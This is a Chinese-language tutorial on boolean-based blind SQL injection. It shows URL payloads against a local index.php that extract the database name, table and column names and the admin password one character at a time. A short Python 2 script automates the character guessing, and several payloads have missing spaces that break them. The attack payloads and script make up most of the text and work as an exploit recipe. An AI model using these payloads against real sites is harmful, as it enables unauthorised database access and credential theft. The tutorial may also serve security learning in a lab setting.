一個帶GET參數的網站,但是網頁中沒有返回任何查詢結果和報錯信息,只返回對和錯:
盲注入格式:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(SQL語句),1,1
))=ASCII%23
注:
SQL語句 輸入SQL注入語句;
ASCII 返回的字符的ASCII碼;
1 第一個字母,從1開始算起;
ASCII碼可以根據二分法猜測;
詳情可以瞭解sql的substr()語法;
爆庫名(sql)的第1個字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select schema_name from information_schema.schemata limit
4,1),1,1
))=115%23
注:
limit 4,1)1,1 表示查詢第5個數據庫名字的第1個字母;
115 爲s的ASCII碼;
另:
limit 0,1)1,1 表示查詢第0個數據庫名字的第1個字母;
limit 1,1)2,1 表示查詢第2個數據庫名字的第2個字母;
limit 1,1)4,1 表示查詢第2個數據庫名字的第4個字母;
爆庫名(sql)的第2個字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select schema_name from information_schema.schemata limit
4,1),2,1
))=113%23
注:
limit 4,1)2,1 表示查詢第5個數據庫名字的第2個字母;
113 爲q的ASCII碼;
爆庫名(sql)的第3個字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select schema_name from information_schema.schemata limit
4,1),3,1
))=108%23
注:
limit 4,1)3,1 表示查詢第5個數據庫名字的第3個字母;
108 爲l的ASCII碼;
爆sql數據庫的第1個表名(user)的第1個字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select table_name from information_schema.tables where table_schema=0x73716climit0,1),1,1
))=117%23
注:
0x73716c 爲sql的十六進制編碼;
117 爲u的ASCII碼;
limit 用法參考上文;
爆sql數據庫user表的第3個字段(pwd)的第1個字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select column_name from information_schema.columns where table_schema=0x73716cand table_name=0x75736572limit
2,1),1,1
))=112%23
注:
0x73716c 爲sql的十六進制編碼;
0x75736572 爲user的十六進制編碼;
112 爲p的ASCII碼;
limit 用法參考上文;
爆第3個字段pwd(123321)的內容的第一個字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select pwd from sql.userlimit0,1),1,1
))=49%23
注:
49 爲1的ASCII碼;
limit 用法參考上文;
最終拿到admin的password!
盲注入可以使用python腳本更方便!
這裏貼一小段簡單的python盲注入腳本:
import requests
urltest="http://127.0.0.1/index.php?id=1' and ascii(substr((select user()),1,1))=114%23" #驗證頁面,通常爲正確頁面
URL=requests.get(urltest)
for j in range(1,10):
for i in range(33,125):
i=str(i)
j=str(j)
url="http://127.0.0.1/index.php?id=1' and ascii(substr((select user()),"+j+",1))="+i+"%23" #注入用於比對的URL
#print url
url=requests.get(url)
if url.text==URL.text:
print chr(int(i))
以上腳本代碼通過修改url中的 select user() SQL語句即可方便盲注入!